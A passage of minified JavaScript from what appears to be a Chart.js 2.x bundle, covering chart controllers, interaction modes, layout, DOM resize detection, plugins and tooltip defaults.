Math.max(Ae(this.chart.data.datasets[e].weight,1),0)},_getVisibleDatasetWeightTotal:function(){return this._getRingWeightOffset(this.chart.data.datasets.length)}});I._set("horizontalBar",{hover:{mode:"index",axis:"y"},scales:{xAxes:[{type:"linear",position:"bottom"}],yAxes:[{type:"category",position:"left",offset:!0,gridLines:{offsetGridLines:!0}}]},elements:{rectangle:{borderSkipped:"left"}},tooltips:{mode:"index",axis:"y"}}),I._set("global",{datasets:{horizontalBar:{categoryPercentage:.8,barPercentage:.9}}});var je=Ee.extend({_getValueScaleId:function(){return this.getMeta().xAxisID},_getIndexScaleId:function(){return this.getMeta().yAxisID}}),Fe=B.valueOrDefault,Le=B.options.resolve,Be=B.canvas._isPointInArea;function Ve(e,t){var n=e&&e.options.ticks||{},r=n.reverse,i=void 0===n.min?t:0,a=void 0===n.max?t:0;return{start:r?a:i,end:r?i:a}}function He(e,t,n){var r=n/2,i=Ve(e,r),a=Ve(t,r);return{top:a.end,right:i.end,bottom:a.start,left:i.start}}function We(e){var t,n,r,i;return B.isObject(e)?(t=e.top,n=e.right,r=e.bottom,i=e.left):t=n=r=i=e,{top:t,right:n,bottom:r,left:i}}I._set("line",{showLines:!0,spanGaps:!1,hover:{mode:"label"},scales:{xAxes:[{type:"category",id:"x-axis-0"}],yAxes:[{type:"linear",id:"y-axis-0"}]}});var qe=te.extend({datasetElementType:xe.Line,dataElementType:xe.Point,_datasetElementOptions:["backgroundColor","borderCapStyle","borderColor","borderDash","borderDashOffset","borderJoinStyle","borderWidth","cubicInterpolationMode","fill"],_dataElementOptions:{backgroundColor:"pointBackgroundColor",borderColor:"pointBorderColor",borderWidth:"pointBorderWidth",hitRadius:"pointHitRadius",hoverBackgroundColor:"pointHoverBackgroundColor",hoverBorderColor:"pointHoverBorderColor",hoverBorderWidth:"pointHoverBorderWidth",hoverRadius:"pointHoverRadius",pointStyle:"pointStyle",radius:"pointRadius",rotation:"pointRotation"},update:function(e){var t,n,r=this,i=r.getMeta(),a=i.dataset,o=i.data||[],s=r.chart.options,l=r._config,u=r._showLine=Fe(l.showLine,s.showLines);for(r._xScale=r.getScaleForId(i.xAxisID),r._yScale=r.getScaleForId(i.yAxisID),u&&(void 0!==l.tension&&void 0===l.lineTension&&(l.lineTension=l.tension),a._scale=r._yScale,a._datasetIndex=r.index,a._children=o,a._model=r._resolveDatasetElementOptions(a),a.pivot()),t=0,n=o.length;t<n;++t)r.updateElement(o[t],t,e);for(u&&0!==a._model.tension&&r.updateBezierControlPoints(),t=0,n=o.length;t<n;++t)o[t].pivot()},updateElement:function(e,t,n){var r,i,a=this,o=a.getMeta(),s=e.custom||{},l=a.getDataset(),u=a.index,c=l.data[t],f=a._xScale,h=a._yScale,d=o.dataset._model,p=a._resolveDataElementOptions(e,t);r=f.getPixelForValue("object"===typeof c?c:NaN,t,u),i=n?h.getBasePixel():a.calculatePointY(c,t,u),e._xScale=f,e._yScale=h,e._options=p,e._datasetIndex=u,e._index=t,e._model={x:r,y:i,skip:s.skip||isNaN(r)||isNaN(i),radius:p.radius,pointStyle:p.pointStyle,rotation:p.rotation,backgroundColor:p.backgroundColor,borderColor:p.borderColor,borderWidth:p.borderWidth,tension:Fe(s.tension,d?d.tension:0),steppedLine:!!d&&d.steppedLine,hitRadius:p.hitRadius}},_resolveDatasetElementOptions:function(e){var t=this,n=t._config,r=e.custom||{},i=t.chart.options,a=i.elements.line,o=te.prototype._resolveDatasetElementOptions.apply(t,arguments);return o.spanGaps=Fe(n.spanGaps,i.spanGaps),o.tension=Fe(n.lineTension,a.tension),o.steppedLine=Le([r.steppedLine,n.steppedLine,a.stepped]),o.clip=We(Fe(n.clip,He(t._xScale,t._yScale,o.borderWidth))),o},calculatePointY:function(e,t,n){var r,i,a,o,s,l,u,c=this.chart,f=this._yScale,h=0,d=0;if(f.options.stacked){for(s=+f.getRightValue(e),u=(l=c._getSortedVisibleDatasetMetas()).length,r=0;r<u&&(a=l[r]).index!==n;++r)i=c.data.datasets[a.index],"line"===a.type&&a.yAxisID===f.id&&((o=+f.getRightValue(i.data[t]))<0?d+=o||0:h+=o||0);return s<0?f.getPixelForValue(d+s):f.getPixelForValue(h+s)}return f.getPixelForValue(e)},updateBezierControlPoints:function(){var e,t,n,r,i=this.chart,a=this.getMeta(),o=a.dataset._model,s=i.chartArea,l=a.data||[];function u(e,t,n){return Math.max(Math.min(e,n),t)}if(o.spanGaps&&(l=l.filter((function(e){return!e._model.skip}))),"monotone"===o.cubicInterpolationMode)B.splineCurveMonotone(l);else for(e=0,t=l.length;e<t;++e)n=l[e]._model,r=B.splineCurve(B.previousItem(l,e)._model,n,B.nextItem(l,e)._model,o.tension),n.controlPointPreviousX=r.previous.x,n.controlPointPreviousY=r.previous.y,n.controlPointNextX=r.next.x,n.controlPointNextY=r.next.y;if(i.options.elements.line.capBezierPoints)for(e=0,t=l.length;e<t;++e)n=l[e]._model,Be(n,s)&&(e>0&&Be(l[e-1]._model,s)&&(n.controlPointPreviousX=u(n.controlPointPreviousX,s.left,s.right),n.controlPointPreviousY=u(n.controlPointPreviousY,s.top,s.bottom)),e<l.length-1&&Be(l[e+1]._model,s)&&(n.controlPointNextX=u(n.controlPointNextX,s.left,s.right),n.controlPointNextY=u(n.controlPointNextY,s.top,s.bottom)))},draw:function(){var e,t=this.chart,n=this.getMeta(),r=n.data||[],i=t.chartArea,a=t.canvas,o=0,s=r.length;for(this._showLine&&(e=n.dataset._model.clip,B.canvas.clipArea(t.ctx,{left:!1===e.left?0:i.left-e.left,right:!1===e.right?a.width:i.right+e.right,top:!1===e.top?0:i.top-e.top,bottom:!1===e.bottom?a.height:i.bottom+e.bottom}),n.dataset.draw(),B.canvas.unclipArea(t.ctx));o<s;++o)r[o].draw(i)},setHoverStyle:function(e){var t=e._model,n=e._options,r=B.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth,radius:t.radius},t.backgroundColor=Fe(n.hoverBackgroundColor,r(n.backgroundColor)),t.borderColor=Fe(n.hoverBorderColor,r(n.borderColor)),t.borderWidth=Fe(n.hoverBorderWidth,n.borderWidth),t.radius=Fe(n.hoverRadius,n.radius)}}),Ye=B.options.resolve;I._set("polarArea",{scale:{type:"radialLinear",angleLines:{display:!1},gridLines:{circular:!0},pointLabels:{display:!1},ticks:{beginAtZero:!0}},animation:{animateRotate:!0,animateScale:!0},startAngle:-.5*Math.PI,legendCallback:function(e){var t,n,r,i=document.createElement("ul"),a=e.data,o=a.datasets,s=a.labels;if(i.setAttribute("class",e.id+"-legend"),o.length)for(t=0,n=o[0].data.length;t<n;++t)(r=i.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=o[0].backgroundColor[t],s[t]&&r.appendChild(document.createTextNode(s[t]));return i.outerHTML},legend:{labels:{generateLabels:function(e){var t=e.data;return t.labels.length&&t.datasets.length?t.labels.map((function(n,r){var i=e.getDatasetMeta(0),a=i.controller.getStyle(r);return{text:n,fillStyle:a.backgroundColor,strokeStyle:a.borderColor,lineWidth:a.borderWidth,hidden:isNaN(t.datasets[0].data[r])||i.data[r].hidden,index:r}})):[]}},onClick:function(e,t){var n,r,i,a=t.index,o=this.chart;for(n=0,r=(o.data.datasets||[]).length;n<r;++n)(i=o.getDatasetMeta(n)).data[a].hidden=!i.data[a].hidden;o.update()}},tooltips:{callbacks:{title:function(){return""},label:function(e,t){return t.labels[e.index]+": "+e.yLabel}}}});var Ue=te.extend({dataElementType:xe.Arc,linkScales:B.noop,_dataElementOptions:["backgroundColor","borderColor","borderWidth","borderAlign","hoverBackgroundColor","hoverBorderColor","hoverBorderWidth"],_getIndexScaleId:function(){return this.chart.scale.id},_getValueScaleId:function(){return this.chart.scale.id},update:function(e){var t,n,r,i=this,a=i.getDataset(),o=i.getMeta(),s=i.chart.options.startAngle||0,l=i._starts=[],u=i._angles=[],c=o.data;for(i._updateRadius(),o.count=i.countVisibleElements(),t=0,n=a.data.length;t<n;t++)l[t]=s,r=i._computeAngle(t),u[t]=r,s+=r;for(t=0,n=c.length;t<n;++t)c[t]._options=i._resolveDataElementOptions(c[t],t),i.updateElement(c[t],t,e)},_updateRadius:function(){var e=this,t=e.chart,n=t.chartArea,r=t.options,i=Math.min(n.right-n.left,n.bottom-n.top);t.outerRadius=Math.max(i/2,0),t.innerRadius=Math.max(r.cutoutPercentage?t.outerRadius/100*r.cutoutPercentage:1,0),t.radiusLength=(t.outerRadius-t.innerRadius)/t.getVisibleDatasetCount(),e.outerRadius=t.outerRadius-t.radiusLength*e.index,e.innerRadius=e.outerRadius-t.radiusLength},updateElement:function(e,t,n){var r=this,i=r.chart,a=r.getDataset(),o=i.options,s=o.animation,l=i.scale,u=i.data.labels,c=l.xCenter,f=l.yCenter,h=o.startAngle,d=e.hidden?0:l.getDistanceFromCenterForValue(a.data[t]),p=r._starts[t],m=p+(e.hidden?0:r._angles[t]),v=s.animateScale?0:l.getDistanceFromCenterForValue(a.data[t]),g=e._options||{};B.extend(e,{_datasetIndex:r.index,_index:t,_scale:l,_model:{backgroundColor:g.backgroundColor,borderColor:g.borderColor,borderWidth:g.borderWidth,borderAlign:g.borderAlign,x:c,y:f,innerRadius:0,outerRadius:n?v:d,startAngle:n&&s.animateRotate?h:p,endAngle:n&&s.animateRotate?h:m,label:B.valueAtIndexOrDefault(u,t,u[t])}}),e.pivot()},countVisibleElements:function(){var e=this.getDataset(),t=this.getMeta(),n=0;return B.each(t.data,(function(t,r){isNaN(e.data[r])||t.hidden||n++})),n},setHoverStyle:function(e){var t=e._model,n=e._options,r=B.getHoverColor,i=B.valueOrDefault;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth},t.backgroundColor=i(n.hoverBackgroundColor,r(n.backgroundColor)),t.borderColor=i(n.hoverBorderColor,r(n.borderColor)),t.borderWidth=i(n.hoverBorderWidth,n.borderWidth)},_computeAngle:function(e){var t=this,n=this.getMeta().count,r=t.getDataset(),i=t.getMeta();if(isNaN(r.data[e])||i.data[e].hidden)return 0;var a={chart:t.chart,dataIndex:e,dataset:r,datasetIndex:t.index};return Ye([t.chart.options.elements.arc.angle,2*Math.PI/n],a,e)}});I._set("pie",B.clone(I.doughnut)),I._set("pie",{cutoutPercentage:0});var $e=Re,Ge=B.valueOrDefault;I._set("radar",{spanGaps:!1,scale:{type:"radialLinear"},elements:{line:{fill:"start",tension:0}}});var Ze=te.extend({datasetElementType:xe.Line,dataElementType:xe.Point,linkScales:B.noop,_datasetElementOptions:["backgroundColor","borderWidth","borderColor","borderCapStyle","borderDash","borderDashOffset","borderJoinStyle","fill"],_dataElementOptions:{backgroundColor:"pointBackgroundColor",borderColor:"pointBorderColor",borderWidth:"pointBorderWidth",hitRadius:"pointHitRadius",hoverBackgroundColor:"pointHoverBackgroundColor",hoverBorderColor:"pointHoverBorderColor",hoverBorderWidth:"pointHoverBorderWidth",hoverRadius:"pointHoverRadius",pointStyle:"pointStyle",radius:"pointRadius",rotation:"pointRotation"},_getIndexScaleId:function(){return this.chart.scale.id},_getValueScaleId:function(){return this.chart.scale.id},update:function(e){var t,n,r=this,i=r.getMeta(),a=i.dataset,o=i.data||[],s=r.chart.scale,l=r._config;for(void 0!==l.tension&&void 0===l.lineTension&&(l.lineTension=l.tension),a._scale=s,a._datasetIndex=r.index,a._children=o,a._loop=!0,a._model=r._resolveDatasetElementOptions(a),a.pivot(),t=0,n=o.length;t<n;++t)r.updateElement(o[t],t,e);for(r.updateBezierControlPoints(),t=0,n=o.length;t<n;++t)o[t].pivot()},updateElement:function(e,t,n){var r=this,i=e.custom||{},a=r.getDataset(),o=r.chart.scale,s=o.getPointPositionForValue(t,a.data[t]),l=r._resolveDataElementOptions(e,t),u=r.getMeta().dataset._model,c=n?o.xCenter:s.x,f=n?o.yCenter:s.y;e._scale=o,e._options=l,e._datasetIndex=r.index,e._index=t,e._model={x:c,y:f,skip:i.skip||isNaN(c)||isNaN(f),radius:l.radius,pointStyle:l.pointStyle,rotation:l.rotation,backgroundColor:l.backgroundColor,borderColor:l.borderColor,borderWidth:l.borderWidth,tension:Ge(i.tension,u?u.tension:0),hitRadius:l.hitRadius}},_resolveDatasetElementOptions:function(){var e=this,t=e._config,n=e.chart.options,r=te.prototype._resolveDatasetElementOptions.apply(e,arguments);return r.spanGaps=Ge(t.spanGaps,n.spanGaps),r.tension=Ge(t.lineTension,n.elements.line.tension),r},updateBezierControlPoints:function(){var e,t,n,r,i=this.getMeta(),a=this.chart.chartArea,o=i.data||[];function s(e,t,n){return Math.max(Math.min(e,n),t)}for(i.dataset._model.spanGaps&&(o=o.filter((function(e){return!e._model.skip}))),e=0,t=o.length;e<t;++e)n=o[e]._model,r=B.splineCurve(B.previousItem(o,e,!0)._model,n,B.nextItem(o,e,!0)._model,n.tension),n.controlPointPreviousX=s(r.previous.x,a.left,a.right),n.controlPointPreviousY=s(r.previous.y,a.top,a.bottom),n.controlPointNextX=s(r.next.x,a.left,a.right),n.controlPointNextY=s(r.next.y,a.top,a.bottom)},setHoverStyle:function(e){var t=e._model,n=e._options,r=B.getHoverColor;e.$previousStyle={backgroundColor:t.backgroundColor,borderColor:t.borderColor,borderWidth:t.borderWidth,radius:t.radius},t.backgroundColor=Ge(n.hoverBackgroundColor,r(n.backgroundColor)),t.borderColor=Ge(n.hoverBorderColor,r(n.borderColor)),t.borderWidth=Ge(n.hoverBorderWidth,n.borderWidth),t.radius=Ge(n.hoverRadius,n.radius)}});I._set("scatter",{hover:{mode:"single"},scales:{xAxes:[{id:"x-axis-1",type:"linear",position:"bottom"}],yAxes:[{id:"y-axis-1",type:"linear",position:"left"}]},tooltips:{callbacks:{title:function(){return""},label:function(e){return"("+e.xLabel+", "+e.yLabel+")"}}}}),I._set("global",{datasets:{scatter:{showLine:!1}}});var Xe={bar:Ee,bubble:Pe,doughnut:Re,horizontalBar:je,line:qe,polarArea:Ue,pie:$e,radar:Ze,scatter:qe};function Ke(e,t){return e.native?{x:e.x,y:e.y}:B.getRelativePosition(e,t)}function Qe(e,t){var n,r,i,a,o,s,l=e._getSortedVisibleDatasetMetas();for(r=0,a=l.length;r<a;++r)for(i=0,o=(n=l[r].data).length;i<o;++i)(s=n[i])._view.skip||t(s)}function Je(e,t){var n=[];return Qe(e,(function(e){e.inRange(t.x,t.y)&&n.push(e)})),n}function et(e,t,n,r){var i=Number.POSITIVE_INFINITY,a=[];return Qe(e,(function(e){if(!n||e.inRange(t.x,t.y)){var o=e.getCenterPoint(),s=r(t,o);s<i?(a=[e],i=s):s===i&&a.push(e)}})),a}function tt(e){var t=-1!==e.indexOf("x"),n=-1!==e.indexOf("y");return function(e,r){var i=t?Math.abs(e.x-r.x):0,a=n?Math.abs(e.y-r.y):0;return Math.sqrt(Math.pow(i,2)+Math.pow(a,2))}}function nt(e,t,n){var r=Ke(t,e);n.axis=n.axis||"x";var i=tt(n.axis),a=n.intersect?Je(e,r):et(e,r,!1,i),o=[];return a.length?(e._getSortedVisibleDatasetMetas().forEach((function(e){var t=e.data[a[0]._index];t&&!t._view.skip&&o.push(t)})),o):[]}var rt={modes:{single:function(e,t){var n=Ke(t,e),r=[];return Qe(e,(function(e){if(e.inRange(n.x,n.y))return r.push(e),r})),r.slice(0,1)},label:nt,index:nt,dataset:function(e,t,n){var r=Ke(t,e);n.axis=n.axis||"xy";var i=tt(n.axis),a=n.intersect?Je(e,r):et(e,r,!1,i);return a.length>0&&(a=e.getDatasetMeta(a[0]._datasetIndex).data),a},"x-axis":function(e,t){return nt(e,t,{intersect:!1})},point:function(e,t){return Je(e,Ke(t,e))},nearest:function(e,t,n){var r=Ke(t,e);n.axis=n.axis||"xy";var i=tt(n.axis);return et(e,r,n.intersect,i)},x:function(e,t,n){var r=Ke(t,e),i=[],a=!1;return Qe(e,(function(e){e.inXRange(r.x)&&i.push(e),e.inRange(r.x,r.y)&&(a=!0)})),n.intersect&&!a&&(i=[]),i},y:function(e,t,n){var r=Ke(t,e),i=[],a=!1;return Qe(e,(function(e){e.inYRange(r.y)&&i.push(e),e.inRange(r.x,r.y)&&(a=!0)})),n.intersect&&!a&&(i=[]),i}}},it=B.extend;function at(e,t){return B.where(e,(function(e){return e.pos===t}))}function ot(e,t){return e.sort((function(e,n){var r=t?n:e,i=t?e:n;return r.weight===i.weight?r.index-i.index:r.weight-i.weight}))}function st(e,t,n,r){return Math.max(e[n],t[n])+Math.max(e[r],t[r])}function lt(e,t,n){var r,i,a=n.box,o=e.maxPadding;if(n.size&&(e[n.pos]-=n.size),n.size=n.horizontal?a.height:a.width,e[n.pos]+=n.size,a.getPadding){var s=a.getPadding();o.top=Math.max(o.top,s.top),o.left=Math.max(o.left,s.left),o.bottom=Math.max(o.bottom,s.bottom),o.right=Math.max(o.right,s.right)}if(r=t.outerWidth-st(o,e,"left","right"),i=t.outerHeight-st(o,e,"top","bottom"),r!==e.w||i!==e.h)return e.w=r,e.h=i,n.horizontal?r!==e.w:i!==e.h}function ut(e,t){var n=t.maxPadding;function r(e){var r={left:0,top:0,right:0,bottom:0};return e.forEach((function(e){r[e]=Math.max(t[e],n[e])})),r}return r(e?["left","right"]:["top","bottom"])}function ct(e,t,n){var r,i,a,o,s,l,u=[];for(r=0,i=e.length;r<i;++r)(o=(a=e[r]).box).update(a.width||t.w,a.height||t.h,ut(a.horizontal,t)),lt(t,n,a)&&(l=!0,u.length&&(s=!0)),o.fullWidth||u.push(a);return s&&ct(u,t,n)||l}function ft(e,t,n){var r,i,a,o,s=n.padding,l=t.x,u=t.y;for(r=0,i=e.length;r<i;++r)o=(a=e[r]).box,a.horizontal?(o.left=o.fullWidth?s.left:t.left,o.right=o.fullWidth?n.outerWidth-s.right:t.left+t.w,o.top=u,o.bottom=u+o.height,o.width=o.right-o.left,u=o.bottom):(o.left=l,o.right=l+o.width,o.top=t.top,o.bottom=t.top+t.h,o.height=o.bottom-o.top,l=o.right);t.x=l,t.y=u}I._set("global",{layout:{padding:{top:0,right:0,bottom:0,left:0}}});var ht,dt={defaults:{},addBox:function(e,t){e.boxes||(e.boxes=[]),t.fullWidth=t.fullWidth||!1,t.position=t.position||"top",t.weight=t.weight||0,t._layers=t._layers||function(){return[{z:0,draw:function(){t.draw.apply(t,arguments)}}]},e.boxes.push(t)},removeBox:function(e,t){var n=e.boxes?e.boxes.indexOf(t):-1;-1!==n&&e.boxes.splice(n,1)},configure:function(e,t,n){for(var r,i=["fullWidth","position","weight"],a=i.length,o=0;o<a;++o)r=i[o],n.hasOwnProperty(r)&&(t[r]=n[r])},update:function(e,t,n){if(e){var r=e.options.layout||{},i=B.options.toPadding(r.padding),a=t-i.width,o=n-i.height,s=function(e){var t=function(e){var t,n,r,i=[];for(t=0,n=(e||[]).length;t<n;++t)r=e[t],i.push({index:t,box:r,pos:r.position,horizontal:r.isHorizontal(),weight:r.weight});return i}(e),n=ot(at(t,"left"),!0),r=ot(at(t,"right")),i=ot(at(t,"top"),!0),a=ot(at(t,"bottom"));return{leftAndTop:n.concat(i),rightAndBottom:r.concat(a),chartArea:at(t,"chartArea"),vertical:n.concat(r),horizontal:i.concat(a)}}(e.boxes),l=s.vertical,u=s.horizontal,c=Object.freeze({outerWidth:t,outerHeight:n,padding:i,availableWidth:a,vBoxMaxWidth:a/2/l.length,hBoxMaxHeight:o/2}),f=it({maxPadding:it({},i),w:a,h:o,x:i.left,y:i.top},i);!function(e,t){var n,r,i;for(n=0,r=e.length;n<r;++n)(i=e[n]).width=i.horizontal?i.box.fullWidth&&t.availableWidth:t.vBoxMaxWidth,i.height=i.horizontal&&t.hBoxMaxHeight}(l.concat(u),c),ct(l,f,c),ct(u,f,c)&&ct(l,f,c),function(e){var t=e.maxPadding;function n(n){var r=Math.max(t[n]-e[n],0);return e[n]+=r,r}e.y+=n("top"),e.x+=n("left"),n("right"),n("bottom")}(f),ft(s.leftAndTop,f,c),f.x+=f.w,f.y+=f.h,ft(s.rightAndBottom,f,c),e.chartArea={left:f.left,top:f.top,right:f.left+f.w,bottom:f.top+f.h},B.each(s.chartArea,(function(t){var n=t.box;it(n,e.chartArea),n.update(f.w,f.h)}))}}},pt=(ht=Object.freeze({__proto__:null,default:"/*\n * DOM element rendering detection\n * https://davidwalsh.name/detect-node-insertion\n */\n@keyframes chartjs-render-animation {\n\tfrom { opacity: 0.99; }\n\tto { opacity: 1; }\n}\n\n.chartjs-render-monitor {\n\tanimation: chartjs-render-animation 0.001s;\n}\n\n/*\n * DOM element resizing detection\n * https://github.com/marcj/css-element-queries\n */\n.chartjs-size-monitor,\n.chartjs-size-monitor-expand,\n.chartjs-size-monitor-shrink {\n\tposition: absolute;\n\tdirection: ltr;\n\tleft: 0;\n\ttop: 0;\n\tright: 0;\n\tbottom: 0;\n\toverflow: hidden;\n\tpointer-events: none;\n\tvisibility: hidden;\n\tz-index: -1;\n}\n\n.chartjs-size-monitor-expand > div {\n\tposition: absolute;\n\twidth: 1000000px;\n\theight: 1000000px;\n\tleft: 0;\n\ttop: 0;\n}\n\n.chartjs-size-monitor-shrink > div {\n\tposition: absolute;\n\twidth: 200%;\n\theight: 200%;\n\tleft: 0;\n\ttop: 0;\n}\n"}))&&ht.default||ht,mt=["animationstart","webkitAnimationStart"],vt={touchstart:"mousedown",touchmove:"mousemove",touchend:"mouseup",pointerenter:"mouseenter",pointerdown:"mousedown",pointermove:"mousemove",pointerup:"mouseup",pointerleave:"mouseout",pointerout:"mouseout"};function gt(e,t){var n=B.getStyle(e,t),r=n&&n.match(/^(\d+)(\.\d+)?px$/);return r?Number(r[1]):void 0}var yt=!!function(){var e=!1;try{var t=Object.defineProperty({},"passive",{get:function(){e=!0}});window.addEventListener("e",null,t)}catch(n){}return e}()&&{passive:!0};function bt(e,t,n){e.addEventListener(t,n,yt)}function xt(e,t,n){e.removeEventListener(t,n,yt)}function wt(e,t,n,r,i){return{type:e,chart:t,native:i||null,x:void 0!==n?n:null,y:void 0!==r?r:null}}function kt(e){var t=document.createElement("div");return t.className=e||"",t}function _t(e,t,n){var r=e.$chartjs||(e.$chartjs={}),i=r.resizer=function(e){var t=kt("chartjs-size-monitor"),n=kt("chartjs-size-monitor-expand"),r=kt("chartjs-size-monitor-shrink");n.appendChild(kt()),r.appendChild(kt()),t.appendChild(n),t.appendChild(r),t._reset=function(){n.scrollLeft=1e6,n.scrollTop=1e6,r.scrollLeft=1e6,r.scrollTop=1e6};var i=function(){t._reset(),e()};return bt(n,"scroll",i.bind(n,"expand")),bt(r,"scroll",i.bind(r,"shrink")),t}(function(e,t){var n=!1,r=[];return function(){r=Array.prototype.slice.call(arguments),t=t||this,n||(n=!0,B.requestAnimFrame.call(window,(function(){n=!1,e.apply(t,r)})))}}((function(){if(r.resizer){var i=n.options.maintainAspectRatio&&e.parentNode,a=i?i.clientWidth:0;t(wt("resize",n)),i&&i.clientWidth<a&&n.canvas&&t(wt("resize",n))}})));!function(e,t){var n=e.$chartjs||(e.$chartjs={}),r=n.renderProxy=function(e){"chartjs-render-animation"===e.animationName&&t()};B.each(mt,(function(t){bt(e,t,r)})),n.reflow=!!e.offsetParent,e.classList.add("chartjs-render-monitor")}(e,(function(){if(r.resizer){var t=e.parentNode;t&&t!==i.parentNode&&t.insertBefore(i,t.firstChild),i._reset()}}))}function Mt(e){var t=e.$chartjs||{},n=t.resizer;delete t.resizer,function(e){var t=e.$chartjs||{},n=t.renderProxy;n&&(B.each(mt,(function(t){xt(e,t,n)})),delete t.renderProxy),e.classList.remove("chartjs-render-monitor")}(e),n&&n.parentNode&&n.parentNode.removeChild(n)}var St={disableCSSInjection:!1,_enabled:"undefined"!==typeof window&&"undefined"!==typeof document,_ensureLoaded:function(e){if(!this.disableCSSInjection){var t=e.getRootNode?e.getRootNode():document;!function(e,t){var n=e.$chartjs||(e.$chartjs={});if(!n.containsStyles){n.containsStyles=!0,t="/* Chart.js */\n"+t;var r=document.createElement("style");r.setAttribute("type","text/css"),r.appendChild(document.createTextNode(t)),e.appendChild(r)}}(t.host?t:document.head,pt)}},acquireContext:function(e,t){"string"===typeof e?e=document.getElementById(e):e.length&&(e=e[0]),e&&e.canvas&&(e=e.canvas);var n=e&&e.getContext&&e.getContext("2d");return n&&n.canvas===e?(this._ensureLoaded(e),function(e,t){var n=e.style,r=e.getAttribute("height"),i=e.getAttribute("width");if(e.$chartjs={initial:{height:r,width:i,style:{display:n.display,height:n.height,width:n.width}}},n.display=n.display||"block",null===i||""===i){var a=gt(e,"width");void 0!==a&&(e.width=a)}if(null===r||""===r)if(""===e.style.height)e.height=e.width/(t.options.aspectRatio||2);else{var o=gt(e,"height");void 0!==a&&(e.height=o)}}(e,t),n):null},releaseContext:function(e){var t=e.canvas;if(t.$chartjs){var n=t.$chartjs.initial;["height","width"].forEach((function(e){var r=n[e];B.isNullOrUndef(r)?t.removeAttribute(e):t.setAttribute(e,r)})),B.each(n.style||{},(function(e,n){t.style[n]=e})),t.width=t.width,delete t.$chartjs}},addEventListener:function(e,t,n){var r=e.canvas;if("resize"!==t){var i=n.$chartjs||(n.$chartjs={});bt(r,t,(i.proxies||(i.proxies={}))[e.id+"_"+t]=function(t){n(function(e,t){var n=vt[e.type]||e.type,r=B.getRelativePosition(e,t);return wt(n,t,r.x,r.y,e)}(t,e))})}else _t(r,n,e)},removeEventListener:function(e,t,n){var r=e.canvas;if("resize"!==t){var i=((n.$chartjs||{}).proxies||{})[e.id+"_"+t];i&&xt(r,t,i)}else Mt(r)}};B.addEvent=bt,B.removeEvent=xt;var Tt=St._enabled?St:{acquireContext:function(e){return e&&e.canvas&&(e=e.canvas),e&&e.getContext("2d")||null}},Ot=B.extend({initialize:function(){},acquireContext:function(){},releaseContext:function(){},addEventListener:function(){},removeEventListener:function(){}},Tt);I._set("global",{plugins:{}});var Et={_plugins:[],_cacheId:0,register:function(e){var t=this._plugins;[].concat(e).forEach((function(e){-1===t.indexOf(e)&&t.push(e)})),this._cacheId++},unregister:function(e){var t=this._plugins;[].concat(e).forEach((function(e){var n=t.indexOf(e);-1!==n&&t.splice(n,1)})),this._cacheId++},clear:function(){this._plugins=[],this._cacheId++},count:function(){return this._plugins.length},getAll:function(){return this._plugins},notify:function(e,t,n){var r,i,a,o,s,l=this.descriptors(e),u=l.length;for(r=0;r<u;++r)if("function"===typeof(s=(a=(i=l[r]).plugin)[t])&&((o=[e].concat(n||[])).push(i.options),!1===s.apply(a,o)))return!1;return!0},descriptors:function(e){var t=e.$plugins||(e.$plugins={});if(t.id===this._cacheId)return t.descriptors;var n=[],r=[],i=e&&e.config||{},a=i.options&&i.options.plugins||{};return this._plugins.concat(i.plugins||[]).forEach((function(e){if(-1===n.indexOf(e)){var t=e.id,i=a[t];!1!==i&&(!0===i&&(i=B.clone(I.global.plugins[t])),n.push(e),r.push({plugin:e,options:i||{}}))}})),t.descriptors=r,t.id=this._cacheId,r},_invalidate:function(e){delete e.$plugins}},Ct={constructors:{},defaults:{},registerScaleType:function(e,t,n){this.constructors[e]=t,this.defaults[e]=B.clone(n)},getScaleConstructor:function(e){return this.constructors.hasOwnProperty(e)?this.constructors[e]:void 0},getScaleDefaults:function(e){return this.defaults.hasOwnProperty(e)?B.merge({},[I.scale,this.defaults[e]]):{}},updateScaleDefaults:function(e,t){this.defaults.hasOwnProperty(e)&&(this.defaults[e]=B.extend(this.defaults[e],t))},addScalesToLayout:function(e){B.each(e.scales,(function(t){t.fullWidth=t.options.fullWidth,t.position=t.options.position,t.weight=t.options.weight,dt.addBox(e,t)}))}},Nt=B.valueOrDefault,Pt=B.rtl.getRtlAdapter;I._set("global",{tooltips:{enabled:!0,custom:null,mode:"nearest",position:"average",intersect:!0,backgroundColor:"rgba(0,0,0,0.8)",titleFontStyle:"bold",titleSpacing:2,titleMarginBottom:6,titleFontColor:"#fff",titleAlign:"left",bodySpacing:2,bodyFontColor:"#fff",bodyAlign:"left",footerFontStyle:"bold",footerSpacing:2,footerMarginTop:6,footerFontColor:"#fff",footerAlign:"left",yPadding:6,xPadding:6,caretPadding:2,caretSize:5,cornerRadius:6,multiKeyBackground:"#fff",displayColors:!0,borderColor:"rgba(0,0,0,0)",borderWidth:0,callbacks:{beforeTitle:B.noop,title:function(e,t){var n="",r=t.labels,i=r?r.length:0;if(e.length>0){var a=e[0];a.label?n=a.label:a.xLabel?n=a.xLabel:i>0&&a.index<i&&(n=r[a.index])}return n},afterTitle:B.noop,beforeBody:B.noop,beforeLabel:B.noop,label:function(e,t){var n=t.datasets[e.datasetIndex].label||"";return n&&(n+=": "),B.isNullOrUndef(e.value)?n+=e.yLabel:n+=e.value,n},labelColor:function(e,t){var n=t.getDatasetMeta(e.datasetIndex).data[e.index]._view;return{borderColor:n.borderColor,backgroundColor:n.backgroundColor}},labelTextColor:function(){return this._options.bodyFontColor},afterLabel:B.noop,afterBody:B.noop,beforeFooter:B.noop,footer:B.noop,afterFooter:B.noop}}});var At={average:function(e){if(!e.length)return!1;var t,n,r=0,i=0,a=0;for(t=0,n=e.length;t<n;++t){var o=e[t];if(o&&o.hasValue()){var s=o.tooltipPosition();r+=s.x,i+=s.y,++a}}return{x:r/a,y:i/a}},nearest:function(e,t){var n,r,i,a=t.x,o=t.y,s=Number.POSITIVE_INFINITY;for(n=0,r=e.length;n<r;++n){var l=e[n];if(l&&l.hasValue()){var u=l.getCenterPoint(),c=B.distanceBetweenPoints(t,u);c<s&&(s=c,i=l)}}if(i){var f=i.tooltipPosition();a=f.x,o=f.y}return{x:a,y:o}}};function zt(e,t){return t&&(B.isArray(t)?Array.prototype.push.apply(e,t):e.push(t)),e}function Dt(e){return("string"===typeof e||e instanceof String)&&e.indexOf("\n")>-1?e.split("\n"):e}function It(e){var 